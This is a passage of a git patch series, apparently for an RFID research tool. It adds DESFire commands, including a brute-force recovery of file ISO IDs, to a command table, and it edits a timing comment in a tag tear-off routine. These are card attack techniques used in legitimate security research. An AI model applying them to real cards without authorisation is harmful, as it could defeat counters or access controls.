mfp info `|N |`Tag information` |`hf mfp mad `|N |`Check and print MAD` |`hf mfp rdbl `|N |`Read blocks from card` @@ -671,10 +684,12 @@ Check column "offline" for their availability. |`hf mfdes createapp `|N |`Create Application` |`hf mfdes deleteapp `|N |`Delete Application` |`hf mfdes selectapp `|N |`Select Application ID` +|`hf mfdes selectisofid `|N |`Select file by ISO ID` |`hf mfdes changekey `|N |`Change Key` |`hf mfdes chkeysettings `|N |`Change Key Settings` |`hf mfdes getkeysettings`|N |`Get Key Settings` |`hf mfdes getkeyversions`|N |`Get Key Versions` +|`hf mfdes bruteisofid `|N |`Recover file ISO IDs by bruteforce` |`hf mfdes getfileids `|N |`Get File IDs list` |`hf mfdes getfileisoids `|N |`Get File ISO IDs list` |`hf mfdes lsfiles `|N |`Show all files list` From 5b2e805c73d56e937a9ea5f657dc4b10f65ac624 Mon Sep 17 00:00:00 2001 From: Christian Zanon <105173223+xNovyz@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:02:34 +0100 Subject: [PATCH 5/5] Update start delay comment Signed-off-by: Christian Zanon <105173223+xNovyz@users.noreply.github.com> --- armsrc/iso14443b.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index eed18eed4..6a70887d5 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2927,7 +2927,7 @@ void ST25TB_TearOff(const uint8_t *data) { uint32_t last_consolidated_value = 0; uint32_t tear_off_value = 0; - // Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window) + // Start delay: user-specified or default TEAROFF_INITIAL_DELAY_US (150 us) int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; if (tear_off_adjustment_us == 0) { tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF;